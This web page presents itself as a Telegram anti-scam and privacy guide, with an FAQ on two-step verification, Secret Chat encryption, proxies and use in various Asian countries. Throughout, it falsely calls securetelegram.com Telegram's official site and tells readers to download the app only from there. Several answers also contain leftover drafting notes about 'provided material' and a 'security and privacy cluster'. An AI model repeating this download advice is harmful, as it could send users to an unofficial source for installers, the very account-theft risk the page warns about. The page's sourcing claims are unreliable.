Anti-scam guide

Telegram anti-scam and account protection guide

Recognize common scams, enable two-step verification, and manage devices and privacy to stay safer on Telegram.

Telegram security settings

Recognize common scams, enable two-step verification, and manage devices and privacy to stay safer on Telegram.

What common scams look like

Fake official support, third-party top-up, fake investment, and verification-code borrowing are high-frequency scams, all aimed at extracting your account or money.

Can Telegram be used in Chinese mainland, do I need to bypass the wall

In Chinese mainland, Telegram access is restricted, and you need a working network environment to connect and register; otherwise even the request to send a verification code cannot be sent.

Telegram officially provides a built-in MTProto proxy (core.telegram.org/proxy) to bypass censorship, hide and obfuscate traffic so carriers have trouble identifying it. Also, Telegram has been removed from the iOS mainland App Store, so an overseas Apple ID is needed to download it. Chinese communities in Southeast Asia can generally use it directly on local networks with no extra steps.

Is the Telegram Chinese Version downloaded online safe, could it contain a trojan

The risk is high. The many Telegram Chinese Version, localized, high-speed downloader, green cracked, and Plus enhanced builds online are all third-party repackaged builds that risk account theft, data leakage, and implanted trojans.

Real attacks have happened: a fake Simplified Chinese translation copycat channel had subscriptions as high as about 800K, but was essentially a downloader trojan that downloads modules and bypasses security-software detection when run, and there have been cases of fake localization packs spreading remote-access tools. Download only the app itself from official securetelegram.com, and never use third-party installers.

What is the difference between the Telegram Chinese Version and the official English version, does the Chinese Version leak privacy

There is no standalone Telegram Chinese Version client at all officially; every platform uses the same official app, and Chinese Version just means switching the interface to Chinese, not installing a separate localization pack.

Moreover, since April 2026 the official app has built in Simplified and Traditional Chinese; after updating to the latest version, go to Settings > Language and choose Simplified Chinese directly, with no third-party pack needed. What really leaks privacy is those third-party Chinese Version repackaged builds online, which have been implanted with account-theft trojans. Recognize securetelegram.com, and using the official built-in Chinese for the interface is safest.

Turn on two-step verification, protect your account

Enable a two-step verification password under Privacy and Security, never leak the verification code, and the account-theft risk drops sharply.

Is using Telegram in Taiwan safe, can the government see what I chat about

Using Telegram in Taiwan is legal, and there is no problem with everyday communication. Note that ordinary group chats and private chats on Telegram are client-to-server encrypted and stored on Telegram servers, not end-to-end encrypted;

For the highest privacy, put important content in Secret Chat, enable two-step verification, and do not send your login code or screenshots to anyone. (The provided material does not directly cover Taiwan regulation; the end-to-end encryption difference is cited from the security and privacy cluster, the regulatory legality is general common knowledge, and it needs hands-on confirmation.)

Is using Telegram in Singapore legal, will it be regulated

Using Telegram normally in Singapore is legal, and there is no problem with ordinary chatting; the key is to understand its encryption mechanism: ordinary private chats and group chats are only client-to-server encrypted and messages are stored on Telegram servers, not end-to-end encrypted;

For sensitive content, use Secret Chat and enable two-step verification to protect the account. Download only from the official site securetelegram.com, and do not install third-party repackaged builds. (The provided material does not directly cover Singapore regulation; the encryption difference is cited from the security and privacy cluster, the legality is general common knowledge, and it needs hands-on confirmation.)

Is chatting on the paper-plane app in Malaysia safe, can the carrier monitor it

Telegram encrypts at the transport layer, so carriers cannot easily read chat plaintext directly. But be clear: ordinary private chats and group chats are client-to-server encrypted and messages are stored on Telegram servers, not end-to-end encrypted;

For more privacy, use Secret Chat and enable two-step verification. Also, download only the app itself from the official site securetelegram.com; third-party Chinese Version or accelerated repackaged builds may instead hide trojans that steal your data. (The provided material does not directly cover Malaysian carrier monitoring; the end-to-end difference and repackaging risk are cited from the material, and it needs hands-on confirmation.)

Manage devices and privacy visibility

Regularly check active sessions and sign out unfamiliar ones, and hide your phone number and last-seen time as needed.

Will using Telegram in Thailand get my account banned or investigated

Normal chatting use generally will not get the account banned for this; Telegram bans are usually related to abuse, spam, and virtual-number registration violations, not mere usage.

On privacy, be clear: ordinary group chats and private chats are not end-to-end encrypted and messages are stored on Telegram servers; only Secret Chat is end-to-end. To protect the account, enable two-step verification, do not share the verification code, and download only from the official site. (The provided material does not directly cover the situation of bans in Thailand; the ban and virtual-number link and the encryption difference are cited from the material, and the local law-enforcement situation needs hands-on confirmation.)

Can Telegram be used normally in Vietnam, is it safe or not

Telegram works in most cases in Vietnam; if you hit connection restrictions, you can use the official built-in MTProto proxy (MTProxy) to bypass blocks, and it hides your IP and obfuscates traffic.

On safety, remember: ordinary private chats and group chats are client-to-server encrypted and stored on servers, not end-to-end; only Secret Chat is end-to-end encrypted. For sensitive content use Secret Chat, enable two-step verification, download only from the official site securetelegram.com, and avoid third-party repackaged builds. (The provided material does not directly cover Vietnam availability details; the proxy and encryption difference are cited from the material, and it needs hands-on confirmation.)

Sources: Telegram Privacy Policy · Telegram official FAQ · Telegram official site

FAQ

Security and anti-scam FAQ

Questions about account theft, scams, two-step verification, and account recovery, answered in one place.

What exactly is Telegram, what is it used for?

Telegram is a free cross-platform instant messenger that can send text, voice, images, video, and large files, make voice and video calls, and also build large groups, subscribe to channels, and use bots. Its strengths are multi-device cloud sync (logged in on phone, computer, and web at once with messages in sync), a high file-transfer limit, and open features. Every platform (Android, iPhone/iPad, Windows, macOS, Linux, web) uses the same official client, downloadable from the official site securetelegram.com.

Are the paper plane and Telegram the same software? Why does everyone call it the paper plane?

They are the same software. Paper plane is a nickname for Telegram in Chinese-speaking circles, because its icon is a white paper plane, plus the whoosh sound when sending a message, so people call it the paper plane. Other common names include the cable, TG, and the plane, all referring to the same official app. Note there is no standalone official software called the paper plane; every platform uses the same official Telegram client, just with the interface switchable to Chinese.

Do the names the cable, TG, paper plane, and plane all refer to the same app?

Yes, they are all the same app, Telegram. The cable is the Chinese meaning of Telegram, TG is the English abbreviation, and paper plane and plane come from its paper-plane icon; these are all different names for it in Chinese-speaking circles. There is only one official Telegram client, common to all platforms (Android, iPhone/iPad, Windows, macOS, Linux, web), with the interface switchable to Chinese in settings. There is no standalone official software actually named the paper plane or the cable; if you encounter such an exclusive installer, beware it is a counterfeit.

Is Telegram safe, can others see my chats?

Relatively safe, but distinguish two kinds of chats. Ordinary chats (cloud chats, the default) are encrypted both in transit and in server storage, but the keys are kept on Telegram servers, so in theory the server side can read them; this is not end-to-end encryption. Only the manually enabled Secret Chat is end-to-end encrypted, stored only on your and the other party device, where a third party cannot read it. Groups and channels are never end-to-end encrypted. For the most private conversations, use Secret Chat, enable two-step verification, and do not send the verification code to anyone.

Will Telegram chat history be monitored?

It depends on the chat type. Ordinary chats (the default cloud chats) are stored encrypted on Telegram servers, but the decryption keys are also on the server side, so in theory Telegram itself has the ability to read them, and this part is not end-to-end encrypted. To truly avoid third parties seeing it, use Secret Chat: it is end-to-end encrypted, stored only on your and the other party device, not uploaded to servers, and Telegram cannot read it either. It is also recommended to enable two-step verification to protect the account, and never share the login code.

Is using Telegram in Hong Kong safe, could it be investigated?

From the software itself, Telegram works normally in Hong Kong; ordinary chats are encrypted in transit, and sensitive conversations can use the end-to-end encrypted Secret Chat to further protect content. But no messenger can guarantee absolute anonymity: metadata such as your phone number and logged-in devices still exists. To be safer, enable two-step verification, use Secret Chat for important conversations, do not expose personal information in public groups, and do not share the login code. Whether it could be investigated involves law and specific circumstances, which this material cannot judge, so follow the actual regulations where you are.

What does Telegram end-to-end encryption mean, are ordinary chats encrypted?

End-to-end encryption (E2E) means messages are encrypted and decrypted only on the sender and receiver two devices, with even the server unable to get the plaintext and no third party able to read it. In Telegram, only the manually enabled Secret Chat is end-to-end encrypted. Ordinary chats (the default cloud chats) are also encrypted: encrypted in transit and stored encrypted on servers, but the decryption keys are kept on the Telegram server side, so it is not end-to-end encryption. Groups and channels are likewise not end-to-end encrypted. For the most private conversations, use Secret Chat.

Are ordinary Telegram chats end-to-end encrypted by default, or do I turn it on manually?

Ordinary chats are not end-to-end encrypted by default. Telegram uses cloud chats by default; messages are stored encrypted on servers and can sync across your multiple devices, but the decryption keys are also on the server side, so it is not end-to-end encryption. For end-to-end encryption, you must manually start a Secret Chat: on the other party profile page choose to start a new Secret Chat; it is encrypted and decrypted only between the two devices, not uploaded to servers, not synced across devices, and supports only one-on-one (groups and channels are not supported). Only important private content needs this.

How do I use Telegram Secret Chat, where do I enable it?

For the Telegram Chinese Version, Secret Chat is enabled from the other party profile page: open the chat with the other person, tap into their avatar or name to enter the profile page, and find Start Secret Chat in the More or three-dot menu. Once enabled, this conversation is shown separately and kept apart from ordinary chats. Note that Secret Chat can only be started on the phone client and is visible only on the current device, not synced to the computer or web. Before enabling, it is recommended to switch the interface to Chinese first for a more intuitive menu.

What is the difference between Telegram Chinese Version Secret Chat and ordinary chat, which is safer?

Ordinary chats go through the cloud and sync to all your logged-in devices (phone, computer, and web can all see them), convenient but with messages stored on Telegram servers. Secret Chat is end-to-end encrypted, exists only on the device that started it, is not uploaded to the cloud and not synced, and also supports a self-destruct timer for timed deletion, with screenshots triggering a notice. In terms of privacy strength, Secret Chat is higher and suits sensitive content; for everyday chatting, ordinary chat is more convenient. For both, enabling two-step verification is recommended to protect the account itself.

Will Telegram leak my privacy, such as my phone number or location?

Telegram itself lets you set your phone number, last-seen time, avatar, and so on to be visible only to Myself or My Contacts in privacy settings, and your location will not be exposed automatically unless you actively share it, so it is fairly controllable. The real leakage risk mostly comes from third parties: online Chinese Version, localized, and cracked installers and fake language packs have been implanted with trojans, remote-access tools, and account-theft components. Download only the app itself from the official site securetelegram.com, use only official links for Chinese, enable two-step verification, and do not send verification-code screenshots to others, and your privacy is protected.

When I add a friend on the Telegram Chinese Version, can the other party see my phone number?

By default no. Telegram mainly relies on usernames (@username) to add each other, and the other party does not need and cannot see your phone number to add you. Whether the phone number is visible is controlled by you in privacy settings and can be set to Nobody or My Contacts; only when both sides save each other into their contacts might they see each other number. For more privacy, set a username and only share the username or interact in groups, without exposing your phone number.

Which is safer, Telegram or WeChat, which has better privacy protection?

In terms of privacy mechanisms, Telegram goes further: it supports end-to-end encrypted Secret Chat, self-destruct, hiding the phone number, social interaction by username, and no forced real-name binding. WeChat is more convenient for everyday use with a fuller ecosystem, but has stricter content review and data-compliance requirements. A reminder: Telegram safety presupposes that you installed the correct official version; online knockoff Chinese Version builds have been implanted with account-theft trojans. Only by downloading from securetelegram.com and enabling two-step verification can you truly enjoy its privacy advantages.

What is the difference between the cable and WeChat, why do many people bypass the wall to use the cable?

The cable (Telegram) and WeChat are positioned differently: the cable relies on usernames for social interaction, needs no real name, supports Secret Chat and large groups or channels, can hold many people in a single group, and overseas Chinese communities often use it to find information, communities, and cross-border communication. Many people bypass the wall to use it because in some regions cable access is restricted and needs a working network environment to connect; officially it also provides a built-in MTProto proxy to bypass blocks. Before using, recognize official securetelegram.com, and do not download knockoff accelerated or Chinese Version repackaged builds.

Is using the cable in Myanmar dangerous, can messages be intercepted?

In regions with stricter network controls, connecting to Telegram may be restricted; you can use the official MTProto proxy (MTProxy) to bypass blocks, hide your IP, and obfuscate traffic. Pay special attention to the encryption difference: ordinary group chats and private chats are not end-to-end encrypted and messages are stored on Telegram servers; only Secret Chat is end-to-end encrypted, where a third party can hardly intercept plaintext in transit. For sensitive content always use Secret Chat, turn on two-step verification, download only from the official site, and do not install repackaged builds of unknown origin. (The provided material does not directly cover specific risks in Myanmar; the proxy and encryption differences are cited from the material, and local risks need hands-on confirmation.)

Is chatting on Telegram in Cambodia safe, can the local police check it?

Telegram encrypts at the transport layer, so third parties cannot easily read ordinary chat plaintext directly, but be clear: ordinary private chats and group chats are only client-to-server encrypted and messages are stored on Telegram servers, not end-to-end; only Secret Chat is end-to-end encrypted with no server copy left. For sensitive content use Secret Chat, turn on two-step verification, and download only from the official site securetelegram.com to avoid malware-laden repackaged builds. Whether local law enforcement can lawfully obtain data involves local law, so use it in compliance. (The provided material does not directly cover Cambodian law enforcement; the encryption difference is cited from the material, and the local legal situation needs hands-on confirmation.)

Why do some people say Telegram ordinary group chats are not actually end-to-end encrypted?

Because that is the fact. Telegram ordinary private chats and group chats use client-to-server encryption; messages are encrypted and then stored on Telegram servers and synced across multiple devices, so strictly speaking it is not end-to-end encryption. Only Secret Chat is end-to-end encrypted, where messages are decrypted only between the two sending and receiving devices, not stored on servers, and cannot sync across devices. For the strongest privacy, put important conversations into Secret Chat. (The end-to-end encryption difference is cited from the security and privacy cluster material.)

Do Telegram Secret Chat messages really self-destruct automatically, how do I set self-destruct timing?

Yes. The Secret Chat of the Telegram Chinese Version is end-to-end encrypted and supports a self-destruct timer: after entering a Secret Chat, set the self-destruct time in the chat interface (such as a few seconds to a few days), and after the other party reads it the message is automatically deleted from both devices after the set time. Note this feature exists only in Secret Chat, not in ordinary chats; and Secret Chat is not stored on servers and does not sync across devices. (The Secret Chat end-to-end attribute is cited from the security and privacy cluster; the specific self-destruct timer steps are general common knowledge and need hands-on confirmation.)

How do I start a Telegram Secret Chat on iPhone?

For the Telegram Chinese Version on iPhone, open the profile page of the person you want to chat privately with (tap their avatar or name to enter the profile), and find Start Secret Chat in the More or three-dot menu to create an end-to-end encrypted secret session; afterwards you can set a message self-destruct timer in that session. A Secret Chat exists only on the two devices that started and received it and does not sync across devices. (The Secret Chat end-to-end attribute is cited from the security and privacy cluster; the specific iPhone entry is general common knowledge and needs hands-on confirmation.)

Where is the entry for a Telegram Secret Chat on an Android phone, what if I cannot find it?

On Android there are two entries: one is to enter the other party profile page and tap the top-right three-dot menu to choose Start Secret Chat; the other is to choose New Secret Chat in the new-message (pencil button) flow and then pick a contact. Not finding it is usually because the other party is offline or not registered and an end-to-end session cannot be established for now, or the app version is too old; update Telegram to the latest official-site version and retry. Remember a Secret Chat exists only between the two devices and does not sync across devices. (The Secret Chat attribute is cited from the security and privacy cluster; the Android entry and troubleshooting are general common knowledge and need hands-on confirmation.)